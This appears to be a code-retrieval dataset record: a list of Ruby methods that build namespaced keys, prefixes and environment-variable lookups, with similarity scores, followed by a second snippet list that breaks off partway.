[ "def qualified_key\n [@env.namespace.to_s, @key].reject(&:empty?).compact.join('.')\n end", "def env_name(key); end", "def full_key(namespace, key)\n \"#{namespace}:#{key}\"\n end", "def namespaced_key(key)\n \"#{@namespace}_#{key}\"\n end", "def key_for(key)\n key_parts = []\n key_parts << @namespace if @namespace && @namespace.length > 0\n \n # Gracefully handles arrays passed here as well, due to the flatten\n key_parts << key\n key_parts.flatten.join ':'\n end", "def get_cache_key(target_name)\n if Rscons.phony_target?(target_name)\n PHONY_PREFIX + target_name.to_s\n else\n target_name\n end\n end", "def environment_item prefix, key, value\n {Oaf::Util.prepare_key(prefix, key) => Oaf::Util.flatten(value)}\n end", "def key_with_namespace(key)\n return key if namespace.nil?\n\n \"#{evaluate_namespace}#{NAMESPACE_SEPARATOR}#{key}\"\n end", "def env_vars_prefix\n self.class.parent.name.underscore.upcase.tr('/', '_')\n end", "def namespace_key(name)\n namespaces[name][:key]\n end", "def get_env(key)\n\n end", "def key_for(resource_name)\n [prefix, resource_name].join\n end", "def full_key\n [name, key].join(\"/\")\n end", "def key\n \"#{Goalkeeper.namespace}:#{label}\"\n end", "def key\n instance_variables\n .collect { |variable| instance_variable_get(variable) }\n .join\n end", "def env_var_to_hold_api_client_primary_key\n @env_var_to_hold_api_client_primary_key.to_s\n end", "def get_reference_value(key, context, parameters)\n if key.start_with?('env.')\n env_key = key[4..-1]\n raise InterpolationError.new(\"Cannot interpolate '#{key}' - ENV[#{env_key}] not defined\") unless ENV.has_key?(env_key)\n ENV[env_key]\n elsif parameters.has_key?(key)\n parameters[key]\n else\n context.get_value(key, parameters: parameters)\n end\n end", "def env_from_parameters parameters, key_prefix=\"hookhand\"\n env = {}\n parameters.each do |key, value|\n if key.is_a? Enumerable\n env.merge! env_from_parameters(key, key_prefix)\n next\n end\n\n env_key = \"#{key_prefix.upcase}_#{key.to_s.upcase}\"\n if value.is_a? Enumerable\n env.merge! env_from_parameters(value, env_key)\n else\n env[env_key] = value.to_s\n end\n end\n env\n end", "def etcd_key\n self.class.etcd_schema.path_with_keys do |sym|\n self.instance_variable_get(\"@#{sym}\")\n end\n end", "def env_variable_prefix\n 'APP_'\n end", "def env_variable_prefix\n 'APP_'\n end", "def environment\n @env_vars ||= VARS.reduce({}) do |hash, (key, value)|\n hash.merge(\"#{prefix}_#{value}\" => send(key))\n end.merge(env)\n end", "def env_key; end", "def getKey; @args.map { |a| a.to_s }.join(':').to_sym end", "def path_key\n env.keys.grep(/\\Apath\\Z/i).first\n end", "def key\n key = config[:key] || flags.last.sub(/\\A--?/, '')\n key = key.tr '-', '_' if underscore_flags?\n key.to_sym\n end", "def key\n \"#{@@PREFIX}#{@name.gsub(\" \",\"-\")}\"\n end", "def base_key_label\n @key_label_base ||= [RedisModel::Configurations.instance.app_name, RedisModel::Configurations.instance.environment, @klass.name.underscore].compact.join(':')\n end", "def option_name(key)\n case key\n when Symbol ; \"#{RACK_ENV_NS}.#{key}\"\n when String ; key\n else raise ArgumentError\n end\n end", "def key(*args)\n args.compact.join(\"/\")\n end", "def prepare_key prefix, key\n \"oaf_#{prefix}_#{key.gsub('-', '_').downcase}\"\n end", "def namespaced(key)\n [@namespace, key].join(':')\n end", "def with_namespaces_targets_key_for(keys = EMPTY_ARRAY)\n [*namespaces, *targets, *keys].join('_').upcase\n end", "def with_namespaces_targets_key_for(keys = EMPTY_ARRAY)\n [*namespaces, *targets, *keys].join('_').upcase\n end", "def full_key_path\n Pathname.new(spec.key_path).expand_path(@base_dir)\n end", "def get_env_var key\n key = key.to_s\n exec(Beaker::Command.new(\"env | grep ^#{key}=\"), :accept_all_exit_codes => true).stdout.chomp\n end", "def [](key)\n @env[key]\n end", "def [](key)\n @env[key]\n end", "def namespaced(key)\n return [@namespace, key].join(':')\n end", "def namespaced(key)\n return [@namespace, key].join(':')\n end", "def key(*args)\n args.join(\":\")\n end", "def prepare_key(node)\n node = node.name if node.is_a? Deployment::Node\n node.to_s.to_sym\n end", "def key\n name = self.class.name.split(\"::\").last\n Util.underscore(name).to_sym\n end", "def expand_cache_key(key, namespace = nil)\n expanded_cache_key = namespace ? +\"#{namespace}/\" : +\"\"\n\n if prefix = ENV[\"RAILS_CACHE_ID\"] || ENV[\"RAILS_APP_VERSION\"]\n expanded_cache_key << \"#{prefix}/\"\n end\n\n expanded_cache_key << retrieve_cache_key(key)\n expanded_cache_key\n end", "def key_name\n \"#{prefix}:#{@id}\"\n end", "def prefix_key(key)\n if self.instance_id\n [self.path, self.instance_id, key].join('/')\n else\n raise RuntimeError.new(\"Attempted to generate a key name without an instance id.\")\n end\n end", "def const(key)\n Moto::Lib::Config.environment_const(key)\n end", "def get_context_var(group, key, context = @context)\n context[\"#{group}::#{key}\"]\n end", "def env_name(key)\n key = key.to_s\n if key =~ HTTP_HEADER\n key = key.upcase.tr(\"-\", \"_\")\n key = \"HTTP_\" + key unless CGI_VARIABLES.include?(key)\n end\n key\n end", "def full_key(relative_key)\n \"#{@root}/#{relative_key}\"\n end", "def prefix_key(key)\n if self.instance_id\n [KEY_PREFIX, self.instance_id, key].join('/')\n else\n raise RuntimeError.new(\"Attempted to generate a key name without an instance id.\")\n end\n end", "def const(key)\n Moto::Lib::Config.environment_const(key)\n end", "def key_for(ip)\n [prefix, ip].join\n end", "def key\n \"#{@@PREFIX}#{@type}-#{@version.gsub(\".\",\"-\")}\"\n end", "def silver_spoon_key(id, namespace, scope)\n \"#{namespace}:#{scope}:#{id}\"\n end", "def key\n name.underscore.tr('/', '_').to_sym\n end", "def lookup_key(uid, provider=nil)\n [provider, uid].compact.join('_').to_sym\n end", "def key\n (key_name || name).to_sym\n end", "def key_template\n @key_template ||= [*name.downcase.split(\"::\"), \"%<id>d\"].join(\":\")\n end", "def env(key) \n str = key.to_s \n env?(str) ? ENV[str] : nil\n end", "def local_name\n \"#{key}_value\"\n end", "def prepare_key(task)\n task = task.name if task.is_a? Deployment::Task\n task.to_s.to_sym\n end", "def key\n key = self.name\n key = Economic::Support::String.demodulize(key)\n key = Economic::Support::String.underscore(key)\n key.intern\n end", "def shared_key(env)\n token = env[options[:header_token]]\n\n shared_token = options[:klass].send(options[:method].to_s, token)\n shared_token.to_s\n end", "def var_prefix\n # ugh, i was generating meta/qb.yml files that set 'var_prefix' to\n # `null`, but it would be nice to\n # \n meta_or 'var_prefix', namespaceless\n end", "def prefix(*args)\n [@options[:env], @options[:prefix], *args].compact.join('.')\n end", "def key\n @key ||= case options.case\n when :lower_camel\n base_key.camelize(:lower)\n when :upper_camel\n base_key.camelize(:upper)\n when :snake\n base_key.underscore\n end\n end", "def access_key_id\n ENV[\"#{partition&.upcase}_ACCESS_KEY_ID\"] || credentials[\"#{partition}_access_key_id\"]\n end", "def make_key class_name\n name = class_name.to_s.pluralize.gsub(/::/, '__').underscore\n only_last_part_plural(name).to_sym\n end", "def get(namespace, key); end", "def key_for(url)\n [prefix, url].join\n end", "def keyName _args\n \"keyName _args;\" \n end", "def env_variable_names\n [\n CONSUMER_KEY_NAME,\n CONSUMER_SECRET_NAME,\n ACCESS_TOKEN_KEY_NAME,\n ACCESS_TOKEN_SECRET_NAME\n ]\n end", "def rest_of_key(namespace)\n return nil if @key == namespace\n\n key = @key.to_s\n\n index = key.index(namespace.to_s) && (namespace.to_s.length + 1)\n key[index, key.length].to_sym if index\n end", "def key_for(url)\n if url.match(/^#{prefix}/)\n url\n else\n [prefix, url].join\n end\n end", "def resource_id(prefix)\n if default_config?\n [prefix, project, node_type, node_name]\n else\n [prefix, project, configuration, node_type, node_name]\n end.compact.join(\"_\").tr(\"-\", '_').tr(\"/\", \"_\")\n end", "def resource_id(prefix)\n if default_config?\n [prefix, project, node_type, node_name]\n else\n [prefix, project, configuration, node_type, node_name]\n end.compact.join(\"_\").tr(\"-\", '_').tr(\"/\", \"_\")\n end", "def key\n self.class.name.split(/::/).last.underscore\n end", "def get_key(key)\n\t\t\tif @prod_env\n\t\t\t\tif key == 'secret'\n\t\t\t\t\t@secret_key_prod\n\t\t\t\telsif key == 'public'\n\t\t\t\t\t@public_key_prod\n\t\t\t\tend\n\t\t\telse\n\t\t\t\tif key == 'secret'\n\t\t\t\t\t@secret_key_dev\n\t\t\t\telsif key == 'public'\n\t\t\t\t\t@public_key_dev\n\t\t\t\tend\n\t\t\tend\n\t\tend", "def build_item_key(item)\n if options[:id_namespace]\n \"#{options[:id_namespace]}_#{item.key}\"\n else\n item.key\n end\n end", "def build_item_key(item)\n if options[:id_namespace]\n \"#{options[:id_namespace]}_#{item.key}\"\n else\n item.key\n end\n end", "def with_prefixes_namespaces_key_for(keys = EMPTY_ARRAY)\n [*prefixes, *namespaces, *keys].join('_').upcase\n end", "def with_prefixes_namespaces_key_for(keys = EMPTY_ARRAY)\n [*prefixes, *namespaces, *keys].join('_').upcase\n end", "def project_setting(key)\n data.config[config[:environment]][key]\n end", "def lookup_variable(key)\n\n fexp.lookup_variable(key)\n end", "def look_for_environment_variables\n unless ENV[\"GOOGLE_CLOUD_KEYFILE\"].nil?\n return File.read(ENV[\"GOOGLE_CLOUD_KEYFILE\"])\n end\n\n ENV[\"GOOGLE_CLOUD_KEYFILE_JSON\"]\n end", "def extract_key(ctx)\n parts = []\n # fetching from cred provider directly gives warnings\n parts << ctx.config.credentials.credentials.access_key_id\n if _endpoint_operation_identifier(ctx)\n parts << ctx.operation_name\n ctx.operation.input.shape.members.inject(parts) do |p, (name, ref)|\n p << ctx.params[name] if ref['endpointdiscoveryid']\n p\n end\n end\n parts.join('_')\n end", "def key_prefix(payload)\n object_key = File.join(\n config.fetch(:bucket_prefix, 'published-repositories'),\n payload.get(:data, :account, :name)\n )\n end", "def env_keys\n mapping.values\n end", "def cache_key_prefix\n to_s\n end", "def parameter_key(term)\n string = term.to_s\n string = string.sub(/^[a-z\\d]*/) { $&.capitalize }\n string.gsub!(/(?:_|(\\/))([a-z\\d]*)/i) { \"#{$1}#{$2.capitalize}\" }\n string\n end", "def parameter_key(term)\n string = term.to_s\n string = string.sub(/^[a-z\\d]*/) { $&.capitalize }\n string.gsub!(/(?:_|(\\/))([a-z\\d]*)/i) { \"#{$1}#{$2.capitalize}\" }\n string\n end", "def variable(project, key)\n get(\"/projects/#{url_encode project}/variables/#{key}\")\n end", "def get_primary_keyfile\n ENV['NOT_DOCKERIZED'] ? ENV['SERVICE_ACCOUNT_KEY'] : File.absolute_path(ENV['SERVICE_ACCOUNT_KEY'])\n end", "def version_key(key)\n return \"#{key}_v#{VERSION}\"\n end", "def generate\n @key ||= begin\n parts = []\n parts << @request.scheme << \"://\"\n parts << @request.host\n\n if @request.scheme == \"https\" && @request.port != 443 ||\n @request.scheme == \"http\" && @request.port != 80\n parts << \":\" << @request.port.to_s\n end\n\n parts << @request.script_name\n parts << @request.path_info\n\n if query_string && query_string != \"\"\n parts << \"?\"\n parts << query_string\n end\n\n parts.join\n end\n end", "def generate\n @key ||= begin\n parts = []\n parts << @request.scheme << \"://\"\n parts << @request.host\n\n if @request.scheme == \"https\" && @request.port != 443 ||\n @request.scheme == \"http\" && @request.port != 80\n parts << \":\" << @request.port.to_s\n end\n\n parts << @request.script_name\n parts << @request.path_info\n\n if query_string && query_string != \"\"\n parts << \"?\"\n parts << query_string\n end\n\n parts.join\n end\n end", "def retrieve(key, environment)\n environment ||= 'default'\n self.fetch(environment, {})[key.to_s]\n end", "def build_key(last_part)\n [scope[:id], super].compact.join(\"_\")\n end" ]
[ "0.6690438", "0.6534368", "0.64823955", "0.6377689", "0.63060886", "0.6255373", "0.62345046", "0.6119168", "0.60117877", "0.60109055", "0.60046905", "0.5959405", "0.59422994", "0.58430666", "0.5834619", "0.5833815", "0.5828168", "0.58011943", "0.57771015", "0.57764065", "0.57764065", "0.5758456", "0.57567805", "0.5707437", "0.5687686", "0.5672684", "0.5666399", "0.56641585", "0.56295204", "0.5586113", "0.5570983", "0.55472034", "0.55457604", "0.55457604", "0.55378854", "0.55325913", "0.55225414", "0.55225414", "0.5513694", "0.5513694", "0.55122715", "0.55079335", "0.5490201", "0.5488723", "0.5488213", "0.5417865", "0.54147625", "0.54084", "0.54055077", "0.5400974", "0.53690124", "0.5368929", "0.5367896", "0.53621644", "0.5350579", "0.5345523", "0.53442365", "0.5344031", "0.53424644", "0.53408915", "0.53302723", "0.53281677", "0.53186494", "0.5314526", "0.5311433", "0.5296461", "0.52954245", "0.52940077", "0.5275413", "0.5272691", "0.5244343", "0.5236583", "0.5236547", "0.5236256", "0.5235942", "0.5230517", "0.5230517", "0.52147275", "0.5203681", "0.5203476", "0.5203476", "0.5200927", "0.5200927", "0.5200559", "0.51989704", "0.51876956", "0.5183303", "0.5168966", "0.5165768", "0.51396734", "0.5135305", "0.5135305", "0.510748", "0.51014143", "0.5095893", "0.50948083", "0.50948083", "0.50869435", "0.5081161" ]
0.57519114
24
Returns a key to be used in looking up an environment variable that contains namespace, target and provided keys.
def with_namespaces_targets_key_for(keys = EMPTY_ARRAY) [*namespaces, *targets, *keys].join('_').upcase end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def env_name(key); end", "def qualified_key\n [@env.namespace.to_s, @key].reject(&:empty?).compact.join('.')\n end", "def full_key(namespace, key)\n \"#{namespace}:#{key}\"\n end", "def get_cache_key(target_name)\n if Rscons.phony_target?(target_name)\n PHONY_PREFIX + target_name.to_s\n else\n target_name\n end\n end", "def namespaced_key(key)\n \"#{@namespace}_#{key}\"\n end", "def key_for(key)\n key_parts = []\n key_parts << @namespace if @namespace && @namespace.length > 0\n \n # Gracefully handles arrays passed here as well, due to the flatten\n key_parts << key\n key_parts.flatten.join ':'\n end", "def namespace_key(name)\n namespaces[name][:key]\n end", "def key_with_namespace(key)\n return key if namespace.nil?\n\n \"#{evaluate_namespace}#{NAMESPACE_SEPARATOR}#{key}\"\n end", "def get_env(key)\n\n end", "def get_reference_value(key, context, parameters)\n if key.start_with?('env.')\n env_key = key[4..-1]\n raise InterpolationError.new(\"Cannot interpolate '#{key}' - ENV[#{env_key}] not defined\") unless ENV.has_key?(env_key)\n ENV[env_key]\n elsif parameters.has_key?(key)\n parameters[key]\n else\n context.get_value(key, parameters: parameters)\n end\n end", "def key\n instance_variables\n .collect { |variable| instance_variable_get(variable) }\n .join\n end", "def [](key)\n @env[key]\n end", "def [](key)\n @env[key]\n end", "def getKey; @args.map { |a| a.to_s }.join(':').to_sym end", "def key\n \"#{Goalkeeper.namespace}:#{label}\"\n end", "def env_var_to_hold_api_client_primary_key\n @env_var_to_hold_api_client_primary_key.to_s\n end", "def env_key; end", "def etcd_key\n self.class.etcd_schema.path_with_keys do |sym|\n self.instance_variable_get(\"@#{sym}\")\n end\n end", "def full_key\n [name, key].join(\"/\")\n end", "def path_key\n env.keys.grep(/\\Apath\\Z/i).first\n end", "def get_env_var key\n key = key.to_s\n exec(Beaker::Command.new(\"env | grep ^#{key}=\"), :accept_all_exit_codes => true).stdout.chomp\n end", "def option_name(key)\n case key\n when Symbol ; \"#{RACK_ENV_NS}.#{key}\"\n when String ; key\n else raise ArgumentError\n end\n end", "def get_context_var(group, key, context = @context)\n context[\"#{group}::#{key}\"]\n end", "def prepare_key(node)\n node = node.name if node.is_a? Deployment::Node\n node.to_s.to_sym\n end", "def silver_spoon_key(id, namespace, scope)\n \"#{namespace}:#{scope}:#{id}\"\n end", "def key_for(resource_name)\n [prefix, resource_name].join\n end", "def key\n (key_name || name).to_sym\n end", "def lookup_variable(key)\n\n fexp.lookup_variable(key)\n end", "def environment_item prefix, key, value\n {Oaf::Util.prepare_key(prefix, key) => Oaf::Util.flatten(value)}\n end", "def key(*args)\n args.join(\":\")\n end", "def prepare_key(task)\n task = task.name if task.is_a? Deployment::Task\n task.to_s.to_sym\n end", "def env(key) \n str = key.to_s \n env?(str) ? ENV[str] : nil\n end", "def key\n key = config[:key] || flags.last.sub(/\\A--?/, '')\n key = key.tr '-', '_' if underscore_flags?\n key.to_sym\n end", "def key\n name = self.class.name.split(\"::\").last\n Util.underscore(name).to_sym\n end", "def key(*args)\n args.compact.join(\"/\")\n end", "def get(namespace, key); end", "def namespaced(key)\n [@namespace, key].join(':')\n end", "def namespaced(key)\n return [@namespace, key].join(':')\n end", "def namespaced(key)\n return [@namespace, key].join(':')\n end", "def with_prefixes_namespaces_targets_key_for(keys = EMPTY_ARRAY)\n [*prefixes, *namespaces, *targets, *keys].join('_').upcase\n end", "def with_prefixes_namespaces_targets_key_for(keys = EMPTY_ARRAY)\n [*prefixes, *namespaces, *targets, *keys].join('_').upcase\n end", "def env_vars_prefix\n self.class.parent.name.underscore.upcase.tr('/', '_')\n end", "def lookup_key(uid, provider=nil)\n [provider, uid].compact.join('_').to_sym\n end", "def base_key_label\n @key_label_base ||= [RedisModel::Configurations.instance.app_name, RedisModel::Configurations.instance.environment, @klass.name.underscore].compact.join(':')\n end", "def shared_key(env)\n token = env[options[:header_token]]\n\n shared_token = options[:klass].send(options[:method].to_s, token)\n shared_token.to_s\n end", "def full_key_path\n Pathname.new(spec.key_path).expand_path(@base_dir)\n end", "def env_name(key)\n key = key.to_s\n if key =~ HTTP_HEADER\n key = key.upcase.tr(\"-\", \"_\")\n key = \"HTTP_\" + key unless CGI_VARIABLES.include?(key)\n end\n key\n end", "def key\n name.underscore.tr('/', '_').to_sym\n end", "def get(key)\n @variables[key.to_sym]\n end", "def local_name\n \"#{key}_value\"\n end", "def project_setting(key)\n data.config[config[:environment]][key]\n end", "def const(key)\n Moto::Lib::Config.environment_const(key)\n end", "def env_from_parameters parameters, key_prefix=\"hookhand\"\n env = {}\n parameters.each do |key, value|\n if key.is_a? Enumerable\n env.merge! env_from_parameters(key, key_prefix)\n next\n end\n\n env_key = \"#{key_prefix.upcase}_#{key.to_s.upcase}\"\n if value.is_a? Enumerable\n env.merge! env_from_parameters(value, env_key)\n else\n env[env_key] = value.to_s\n end\n end\n env\n end", "def expand_cache_key(key, namespace = nil)\n expanded_cache_key = namespace ? +\"#{namespace}/\" : +\"\"\n\n if prefix = ENV[\"RAILS_CACHE_ID\"] || ENV[\"RAILS_APP_VERSION\"]\n expanded_cache_key << \"#{prefix}/\"\n end\n\n expanded_cache_key << retrieve_cache_key(key)\n expanded_cache_key\n end", "def variable(project, key)\n get(\"/projects/#{url_encode project}/variables/#{key}\")\n end", "def key\n key = self.name\n key = Economic::Support::String.demodulize(key)\n key = Economic::Support::String.underscore(key)\n key.intern\n end", "def retrieve(key, environment)\n environment ||= 'default'\n self.fetch(environment, {})[key.to_s]\n end", "def key_template\n @key_template ||= [*name.downcase.split(\"::\"), \"%<id>d\"].join(\":\")\n end", "def const(key)\n Moto::Lib::Config.environment_const(key)\n end", "def environment\n @env_vars ||= VARS.reduce({}) do |hash, (key, value)|\n hash.merge(\"#{prefix}_#{value}\" => send(key))\n end.merge(env)\n end", "def key_name\n \"#{prefix}:#{@id}\"\n end", "def keyName _args\n \"keyName _args;\" \n end", "def key\n self.class.name.split(/::/).last.underscore\n end", "def env(key)\n capture(\"echo $#{key}\")\n end", "def key\n params.k\n end", "def key\n \"#{@@PREFIX}#{@name.gsub(\" \",\"-\")}\"\n end", "def find_key(key)\n if env_map.has_key?(key)\n return { key => env_map[key]}\n else\n raise 'Key not found!'\n end\n end", "def make_key class_name\n name = class_name.to_s.pluralize.gsub(/::/, '__').underscore\n only_last_part_plural(name).to_sym\n end", "def instance_var_sym(key)\n \"@#{key}\".to_sym\n end", "def look_for_environment_variables\n unless ENV[\"GOOGLE_CLOUD_KEYFILE\"].nil?\n return File.read(ENV[\"GOOGLE_CLOUD_KEYFILE\"])\n end\n\n ENV[\"GOOGLE_CLOUD_KEYFILE_JSON\"]\n end", "def rest_of_key(namespace)\n return nil if @key == namespace\n\n key = @key.to_s\n\n index = key.index(namespace.to_s) && (namespace.to_s.length + 1)\n key[index, key.length].to_sym if index\n end", "def full_key(relative_key)\n \"#{@root}/#{relative_key}\"\n end", "def env_variable_names\n [\n CONSUMER_KEY_NAME,\n CONSUMER_SECRET_NAME,\n ACCESS_TOKEN_KEY_NAME,\n ACCESS_TOKEN_SECRET_NAME\n ]\n end", "def build_item_key(item)\n if options[:id_namespace]\n \"#{options[:id_namespace]}_#{item.key}\"\n else\n item.key\n end\n end", "def build_item_key(item)\n if options[:id_namespace]\n \"#{options[:id_namespace]}_#{item.key}\"\n else\n item.key\n end\n end", "def extract_key(ctx)\n parts = []\n # fetching from cred provider directly gives warnings\n parts << ctx.config.credentials.credentials.access_key_id\n if _endpoint_operation_identifier(ctx)\n parts << ctx.operation_name\n ctx.operation.input.shape.members.inject(parts) do |p, (name, ref)|\n p << ctx.params[name] if ref['endpointdiscoveryid']\n p\n end\n end\n parts.join('_')\n end", "def get_key(key)\n\t\t\tif @prod_env\n\t\t\t\tif key == 'secret'\n\t\t\t\t\t@secret_key_prod\n\t\t\t\telsif key == 'public'\n\t\t\t\t\t@public_key_prod\n\t\t\t\tend\n\t\t\telse\n\t\t\t\tif key == 'secret'\n\t\t\t\t\t@secret_key_dev\n\t\t\t\telsif key == 'public'\n\t\t\t\t\t@public_key_dev\n\t\t\t\tend\n\t\t\tend\n\t\tend", "def key\n @key ||= case options.case\n when :lower_camel\n base_key.camelize(:lower)\n when :upper_camel\n base_key.camelize(:upper)\n when :snake\n base_key.underscore\n end\n end", "def lookup_variable (varname)\n\n env, var = lookup_environment(varname)\n env[var]\n end", "def env_keys\n mapping.values\n end", "def determine_transit_key(path, targets)\n if targets.count > 1\n targets.each do |h|\n path.to_s.include?(h[:path]) ? (h[:transit_key]) : (raise \"Unable to determine transit_key to use, please specify target via `-t <target>`\")\n end\n else\n targets.first[:transit_key]\n end\n end", "def env_variable_prefix\n 'APP_'\n end", "def env_variable_prefix\n 'APP_'\n end", "def access_key_id\n ENV[\"#{partition&.upcase}_ACCESS_KEY_ID\"] || credentials[\"#{partition}_access_key_id\"]\n end", "def versioned_key(key, namespace = '')\n \"tml_#{namespace}#{CACHE_VERSION_KEY == key ? '' : \"_v#{version}\"}_#{key}\"\n end", "def provider_root(lookup_invocation)\n Pathname.new(lookup_invocation.scope.environment.configuration.path_to_env)\n end", "def get_key(env_name, config_key)\n # First read in ENV\n return ENV[env_name] if ENV[env_name]\n\n # Otherwise read from _config.yml\n if @config['algolia'] && @config['algolia'][config_key]\n return @config['algolia'][config_key]\n end\n\n nil\n end", "def parameter_key(term)\n string = term.to_s\n string = string.sub(/^[a-z\\d]*/) { $&.capitalize }\n string.gsub!(/(?:_|(\\/))([a-z\\d]*)/i) { \"#{$1}#{$2.capitalize}\" }\n string\n end", "def parameter_key(term)\n string = term.to_s\n string = string.sub(/^[a-z\\d]*/) { $&.capitalize }\n string.gsub!(/(?:_|(\\/))([a-z\\d]*)/i) { \"#{$1}#{$2.capitalize}\" }\n string\n end", "def key\n \"#{@@PREFIX}#{@type}-#{@version.gsub(\".\",\"-\")}\"\n end", "def getKey; argSetTextual.to_sym end", "def get_variable_name(attribute_id)\n \"aspect.#{aspect}.#{target_model}.#{attribute_id}\"\n end", "def get_key_from_command(argv)\n case argv[0].to_s.downcase\n when \"info\",\"multi\",\"exec\",\"slaveof\",\"config\",\"shutdown\",\"select\"\n nil\n else\n # Unknown commands, and all the commands having the key\n # as first argument are handled here:\n # set, get, ...\n argv[1]\n end\n end", "def [](key, file=:application)\n with_file(file, key) || ENV[key.to_s.upcase]\n end", "def lookup_value(key, context=nil)\n [named_context[context] || {}, global].map {|c| c[key]}.compact.first\n end", "def lookup_key(translations, key)\n translations[key]\n end", "def version_key(key)\n return \"#{key}_v#{VERSION}\"\n end", "def lookup_key(translations, key)\n translations[key]\n end", "def keyname(key)\n\t\t@keynames[key]\n\tend" ]
[ "0.66161656", "0.6599544", "0.64446086", "0.6372229", "0.6336621", "0.62620974", "0.6204556", "0.61549103", "0.6120054", "0.59826624", "0.5961457", "0.58220994", "0.58220994", "0.5799912", "0.57733727", "0.5772401", "0.5756669", "0.5726982", "0.5724572", "0.57225335", "0.56573933", "0.5630716", "0.5630153", "0.5612647", "0.5575789", "0.5564256", "0.5561901", "0.55490345", "0.55471116", "0.55375755", "0.5528731", "0.5508873", "0.5484976", "0.5482241", "0.54794556", "0.54721653", "0.5463033", "0.54406524", "0.54406524", "0.5440566", "0.5440566", "0.5414202", "0.54007494", "0.5391564", "0.5374518", "0.53542614", "0.5353432", "0.53340137", "0.5322377", "0.5320838", "0.53202486", "0.5307542", "0.52875173", "0.5283968", "0.52827185", "0.5281744", "0.52804464", "0.52694964", "0.52600807", "0.52589995", "0.52524257", "0.5250184", "0.52416545", "0.5231928", "0.5231396", "0.5231373", "0.5228127", "0.52220446", "0.5204751", "0.52000177", "0.51964766", "0.51941645", "0.5190072", "0.51889133", "0.51889133", "0.5178132", "0.51693755", "0.5162934", "0.5160341", "0.51601493", "0.5150806", "0.51180667", "0.51180667", "0.5116847", "0.5113695", "0.510201", "0.50970066", "0.50685436", "0.50685436", "0.50670624", "0.50634366", "0.5047532", "0.5042508", "0.5040141", "0.5035738", "0.5029489", "0.50284344", "0.5018165", "0.5006139" ]
0.56391555
22
Returns a key to be used in looking up an environment variable that contains prefix, namespace and provided keys.
def with_prefixes_namespaces_key_for(keys = EMPTY_ARRAY) [*prefixes, *namespaces, *keys].join('_').upcase end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def qualified_key\n [@env.namespace.to_s, @key].reject(&:empty?).compact.join('.')\n end", "def full_key(namespace, key)\n \"#{namespace}:#{key}\"\n end", "def namespaced_key(key)\n \"#{@namespace}_#{key}\"\n end", "def key_with_namespace(key)\n return key if namespace.nil?\n\n \"#{evaluate_namespace}#{NAMESPACE_SEPARATOR}#{key}\"\n end", "def key_for(key)\n key_parts = []\n key_parts << @namespace if @namespace && @namespace.length > 0\n \n # Gracefully handles arrays passed here as well, due to the flatten\n key_parts << key\n key_parts.flatten.join ':'\n end", "def namespace_key(name)\n namespaces[name][:key]\n end", "def env_name(key); end", "def environment_item prefix, key, value\n {Oaf::Util.prepare_key(prefix, key) => Oaf::Util.flatten(value)}\n end", "def env_vars_prefix\n self.class.parent.name.underscore.upcase.tr('/', '_')\n end", "def env_variable_prefix\n 'APP_'\n end", "def env_variable_prefix\n 'APP_'\n end", "def key_for(resource_name)\n [prefix, resource_name].join\n end", "def namespaced(key)\n [@namespace, key].join(':')\n end", "def namespaced(key)\n return [@namespace, key].join(':')\n end", "def namespaced(key)\n return [@namespace, key].join(':')\n end", "def full_key\n [name, key].join(\"/\")\n end", "def rest_of_key(namespace)\n return nil if @key == namespace\n\n key = @key.to_s\n\n index = key.index(namespace.to_s) && (namespace.to_s.length + 1)\n key[index, key.length].to_sym if index\n end", "def prepare_key prefix, key\n \"oaf_#{prefix}_#{key.gsub('-', '_').downcase}\"\n end", "def get_env(key)\n\n end", "def key\n \"#{@@PREFIX}#{@name.gsub(\" \",\"-\")}\"\n end", "def expand_cache_key(key, namespace = nil)\n expanded_cache_key = namespace ? +\"#{namespace}/\" : +\"\"\n\n if prefix = ENV[\"RAILS_CACHE_ID\"] || ENV[\"RAILS_APP_VERSION\"]\n expanded_cache_key << \"#{prefix}/\"\n end\n\n expanded_cache_key << retrieve_cache_key(key)\n expanded_cache_key\n end", "def env_var_to_hold_api_client_primary_key\n @env_var_to_hold_api_client_primary_key.to_s\n end", "def key\n key = config[:key] || flags.last.sub(/\\A--?/, '')\n key = key.tr '-', '_' if underscore_flags?\n key.to_sym\n end", "def environment\n @env_vars ||= VARS.reduce({}) do |hash, (key, value)|\n hash.merge(\"#{prefix}_#{value}\" => send(key))\n end.merge(env)\n end", "def key\n \"#{Goalkeeper.namespace}:#{label}\"\n end", "def var_prefix\n # ugh, i was generating meta/qb.yml files that set 'var_prefix' to\n # `null`, but it would be nice to\n # \n meta_or 'var_prefix', namespaceless\n end", "def path_key\n env.keys.grep(/\\Apath\\Z/i).first\n end", "def env_key; end", "def base_key_label\n @key_label_base ||= [RedisModel::Configurations.instance.app_name, RedisModel::Configurations.instance.environment, @klass.name.underscore].compact.join(':')\n end", "def key\n instance_variables\n .collect { |variable| instance_variable_get(variable) }\n .join\n end", "def option_name(key)\n case key\n when Symbol ; \"#{RACK_ENV_NS}.#{key}\"\n when String ; key\n else raise ArgumentError\n end\n end", "def etcd_key\n self.class.etcd_schema.path_with_keys do |sym|\n self.instance_variable_get(\"@#{sym}\")\n end\n end", "def get_env_var key\n key = key.to_s\n exec(Beaker::Command.new(\"env | grep ^#{key}=\"), :accept_all_exit_codes => true).stdout.chomp\n end", "def get_reference_value(key, context, parameters)\n if key.start_with?('env.')\n env_key = key[4..-1]\n raise InterpolationError.new(\"Cannot interpolate '#{key}' - ENV[#{env_key}] not defined\") unless ENV.has_key?(env_key)\n ENV[env_key]\n elsif parameters.has_key?(key)\n parameters[key]\n else\n context.get_value(key, parameters: parameters)\n end\n end", "def key\n name = self.class.name.split(\"::\").last\n Util.underscore(name).to_sym\n end", "def get(namespace, key); end", "def access_key_id\n ENV[\"#{partition&.upcase}_ACCESS_KEY_ID\"] || credentials[\"#{partition}_access_key_id\"]\n end", "def get_context_var(group, key, context = @context)\n context[\"#{group}::#{key}\"]\n end", "def key\n \"#{@@PREFIX}#{@type}-#{@version.gsub(\".\",\"-\")}\"\n end", "def prefix(*args)\n [@options[:env], @options[:prefix], *args].compact.join('.')\n end", "def env_from_parameters parameters, key_prefix=\"hookhand\"\n env = {}\n parameters.each do |key, value|\n if key.is_a? Enumerable\n env.merge! env_from_parameters(key, key_prefix)\n next\n end\n\n env_key = \"#{key_prefix.upcase}_#{key.to_s.upcase}\"\n if value.is_a? Enumerable\n env.merge! env_from_parameters(value, env_key)\n else\n env[env_key] = value.to_s\n end\n 